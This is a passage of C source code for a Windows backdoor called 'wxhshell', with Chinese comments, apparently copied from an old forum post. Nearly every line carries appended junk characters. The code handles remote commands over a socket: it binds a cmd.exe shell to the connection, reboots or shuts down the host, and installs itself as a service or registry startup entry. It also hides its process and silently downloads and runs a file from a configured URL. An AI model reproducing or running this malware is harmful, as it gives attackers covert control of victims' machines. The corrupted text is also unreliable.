  else t#/YN.@r  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !t %j?\f  
  } vNY{j7l/W  
  else { ooL!TS GD  
bv9]\qC]T<  
    switch(cmd[0]) { }[};IqVaK  
  ^q vbqfh  
  // 帮助 N/'b$m5= S  
  case '?': { 88gM?G _X  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BB$>h}  
    break; i2A81>68<  
  } A*R^n}sh  
  // 安装 | y# Jx  
  case 'i': { *74MWF@IY  
    if(Install()) }wjw:M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mzw<{*:r  
    else cAqLE\h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fZzoAzfv2  
    break; KKPh~ThC  
    }  E`0?  
  // 卸载 C8:f_mJU  
  case 'r': { '8. r-`l(  
    if(Uninstall()) /?'FE 7Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #7 $ H  
    else mh{d8<Q2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $Sx'sA2  
    break; R)( T^V`{  
    } omu|yCK  
  // 显示 wxhshell 所在路径 ufZDF=$7  
  case 'p': { =/+-<px  
    char svExeFile[MAX_PATH]; j'<<4.(  
    strcpy(svExeFile,"\n\r"); Ugt/rf5n  
      strcat(svExeFile,ExeFile); gNrjo=  
        send(wsh,svExeFile,strlen(svExeFile),0); UiP"Ixg6  
    break; 6|%?tex  
    } \?ZB]*Fu  
  // 重启 T|op$ s|  
  case 'b': { fS:&Ak ];  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vHc%z$-d  
    if(Boot(REBOOT)) !r8 `Yrn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~i{(<.he  
    else { >d*@_ kJM  
    closesocket(wsh); v2\FA(BPn  
    ExitThread(0); )Y0!~# `  
    } (ejvF):|  
    break; &|ex`nwc0  
    } rgv?gaQ>  
  // 关机 l -mfFN  
  case 'd': { w"|L:8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1..+F0U  
    if(Boot(SHUTDOWN)) a=1@*ID  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8.=BaNU  
    else { nFe<w  
    closesocket(wsh); q=m'^ ,gPS  
    ExitThread(0); oj<gD  
    } $am$ EU?s  
    break; t!X. |`h  
    } :zbQD8jv  
  // 获取shell Hqx-~hQO  
  case 's': { mzKiO_g}  
    CmdShell(wsh); hJ? O],4J  
    closesocket(wsh); [`[|l  
    ExitThread(0); ^_W#+>&--  
    break; ,0Hr2*p  
  } mh #a#<  
  // 退出 RFcv^Xf  
  case 'x': { )}(^, Fo c  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); IGQFtO/x  
    CloseIt(wsh); ) 7@ `ut  
    break; v^NIx q}U  
    } gp?uHKsM  
  // 离开 o4,6.1}  
  case 'q': { 6]N;r5n  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /NFj(+&g+  
    closesocket(wsh); >dD@j:Qc  
    WSACleanup(); (@VMH !3  
    exit(1); 70nqD>M4  
    break; D%SlAzZ3  
        } X-Kh(Z  
  } vX"*4m>b?+  
  } ~<5!?6Yt  
"| g>'wM*  
  // 提示信息 9YyLf;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); At>DjKx]O  
} vWv"  
  } rfJz8uF%  
$6 9&O  
  return;  . iI  
} hH 3RP{'=  
h"Q8b}$^)  
// shell模块句柄 L}b.ulkMD  
int CmdShell(SOCKET sock) !hy-L_wL]  
{ ! E5HN :#  
STARTUPINFO si; Vwf$JdK%&l  
ZeroMemory(&si,sizeof(si)); 3M7/?TMw{6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uyWunpT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2- h{N  
PROCESS_INFORMATION ProcessInfo; q:0N<$63  
char cmdline[]="cmd"; 783,s_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v$v-2y'%  
  return 0; 'sKk"bi;0  
} tw/dD +  
M"Hf :9Rk  
// 自身启动模式 k%#EEMh  
int StartFromService(void) "Gzz4D  
{ FVbb2Y?R  
typedef struct Lg.gfny[(t  
{ R+z2}}Z!`  
  DWORD ExitStatus; Y\P8 v  
  DWORD PebBaseAddress; ;[YG@-"XZ  
  DWORD AffinityMask; 7Q9 w?y~c  
  DWORD BasePriority; @*XV`_!h  
  ULONG UniqueProcessId;  4e7-0}0  
  ULONG InheritedFromUniqueProcessId; 3jU&zw9  
}   PROCESS_BASIC_INFORMATION; \?-<4Bc@  
Hzz %3}E  
PROCNTQSIP NtQueryInformationProcess; yx[/|nZDC4  
'<)n8{3Q5w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q&tG4f<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L`TLgH&?R  
U '_Q>k  
  HANDLE             hProcess; & J'idYD  
  PROCESS_BASIC_INFORMATION pbi; 3;9^  
Mfuv0P~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V2EUW!gn 2  
  if(NULL == hInst ) return 0; f'RX6$}\1X  
>uRI'24  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'JE`(xD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \*?~Yj #  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ic<2QknmP  
Wvh#:Z  
  if (!NtQueryInformationProcess) return 0; _ 4~+{l+  
Q3~H{)[Kq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a58H9w"u)  
  if(!hProcess) return 0; +\]\[6  
jB2[(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \V63qg[  
g:@#@1rB6  
  CloseHandle(hProcess); oZgjQM$YP  
_jVN&\A]mC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^{`exCwM x  
if(hProcess==NULL) return 0; q.bSIV|  
="H`V V_  
HMODULE hMod; :3Ox~o  
char procName[255]; |HQW0  
unsigned long cbNeeded; M|h3Wt~7  
!f [_+CD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @,+5y\]C  
PC8Q"O  
  CloseHandle(hProcess); (ZZ8L-s  
q3!bky\  
if(strstr(procName,"services")) return 1; // 以服务启动 lUZ+YD4  
/,yd+wcW#  
  return 0; // 注册表启动 !e<^? r4  
}  kDioD  
bAqA1y3=  
// 主模块 p]TAELy  
int StartWxhshell(LPSTR lpCmdLine) 2%m BK  
{ qEOhwrh  
  SOCKET wsl; Yj49t_$b  
BOOL val=TRUE; qyTU8Wp  
  int port=0; p6V0`5@t  
  struct sockaddr_in door; $6 f3F?y7  
1GcE) e!>  
  if(wscfg.ws_autoins) Install(); TD0 B%  
W ac&b  
port=atoi(lpCmdLine); J*M>6Q.)  
va@Lz&sAE%  
if(port<=0) port=wscfg.ws_port; k4J+J.|  
!F$6-0%  
  WSADATA data; gwMNYMI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; SqpaFWr  
 =:pJ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8nV+e~-w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "!^"[mX4  
  door.sin_family = AF_INET; CA~-rv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?6U0PChy  
  door.sin_port = htons(port); {EQOP]  
~$^XP.a.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }Sv:`9=  
closesocket(wsl); W|mo5qrLS2  
return 1; m-, x<bM?  
} PJH&  
rV#ch(  
  if(listen(wsl,2) == INVALID_SOCKET) { ON(kt3.h  
closesocket(wsl); F JyT+  
return 1; m{HS0l'  
} U Cjld  
  Wxhshell(wsl); n:!_  
  WSACleanup(); ~]2K ^bh8&  
+ ePS14G  
return 0; kxv1Hn"`{E  
.ioEI sg  
} xy;;zOh`  
R\[e!g*I  
// 以NT服务方式启动 sPIn|d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FZn w0tMq  
{ 3!]rmZ-W  
DWORD   status = 0; xA*<0O\V  
  DWORD   specificError = 0xfffffff; > ~O.@|  
tWc Hb #  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JWxwJex  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; gPPkT"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ym1Y4,  
  serviceStatus.dwWin32ExitCode     = 0;  @q) d  
  serviceStatus.dwServiceSpecificExitCode = 0; P&Vv/D  
  serviceStatus.dwCheckPoint       = 0; nu%*'.  
  serviceStatus.dwWaitHint       = 0; wibNQ`4k  
j3Y['xDv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [ 4)F f  
  if (hServiceStatusHandle==0) return; ;2QP7PrSY  
|A(Iti{v  
status = GetLastError(); ]Y&VT7+Z  
  if (status!=NO_ERROR) +ZP7{%  
{ @r1_U,0e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f/?P514h  
    serviceStatus.dwCheckPoint       = 0; 9pfIzs su3  
    serviceStatus.dwWaitHint       = 0; ECmW`#Otb)  
    serviceStatus.dwWin32ExitCode     = status; Z% UP6%  
    serviceStatus.dwServiceSpecificExitCode = specificError; 'I;zJ`Trd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $XH^~i;  
    return; OjA,]Gv6  
  } Q~9^{sHZjP  
9\(| D#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C3g_! dUs  
  serviceStatus.dwCheckPoint       = 0; Nh +H9  
  serviceStatus.dwWaitHint       = 0; 5z)~\;[ -  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &rR2,3r=  
} N;%6:I./  
f$QNg0v  
// 处理NT服务事件,比如:启动、停止 v3>UV8c'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) m1AJ{cs  
{ {)<v&'*c~  
switch(fdwControl) Ow,b^|  
{ 8z\xrY  
case SERVICE_CONTROL_STOP: ]Hv[IodJ  
  serviceStatus.dwWin32ExitCode = 0; GQ ;;bcj&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qH_Dc=~la  
  serviceStatus.dwCheckPoint   = 0; "m>81-0  
  serviceStatus.dwWaitHint     = 0; a 1*p*dM#  
  { ,a? o aPH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "0TZTa1e  
  } I q.*8Oc  
  return; uyx 2;f  
case SERVICE_CONTROL_PAUSE: u ^RxD^=L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <1!O1ab  
  break; #g!.T g'  
case SERVICE_CONTROL_CONTINUE: 2 yz _  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8 Fbo3  
  break; hi[pVk~B)  
case SERVICE_CONTROL_INTERROGATE: 5!9zI+S|=`  
  break; ],].zlN  
}; \'j|BJ~L f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3Zh)]^  
} lu/ (4ED  
BJ(M2|VH  
// 标准应用程序主函数 08{@rOr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Etm?'  
{ g9F?z2^  
bg0Wnl  
// 获取操作系统版本 \l3h0R  
OsIsNt=GetOsVer(); =Fl^`*n  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "kFg  
e96k{C`j0  
  // 从命令行安装 &cTU sK  
  if(strpbrk(lpCmdLine,"iI")) Install(); FVBYo%Ap  
x,Vr=FB  
  // 下载执行文件 2J;g{95z  
if(wscfg.ws_downexe) { /Ci<xmP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;A[Q2(w+  
  WinExec(wscfg.ws_filenam,SW_HIDE); $ME)#(  
} /a o5FL  
vvOV2n .WD  
if(!OsIsNt) { :M5l*sIO2  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z/J y'$x  
HideProc(); yV(\R  
StartWxhshell(lpCmdLine); ?bu>r=oIO]  
} :~^ (g$Z  
else L/^I*p,  
  if(StartFromService()) ?z u8)U  
  // 以服务方式启动 E4xa[iZ  
  StartServiceCtrlDispatcher(DispatchTable); qIqM{#' ^  
else a.6(K  
  // 普通方式启动 @=kSo -SX  
  StartWxhshell(lpCmdLine); lw5`p,`  
`P ,d$H "  
return 0; PFK  '$  
}
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只看该作者 1 发表于: 2006-10-10
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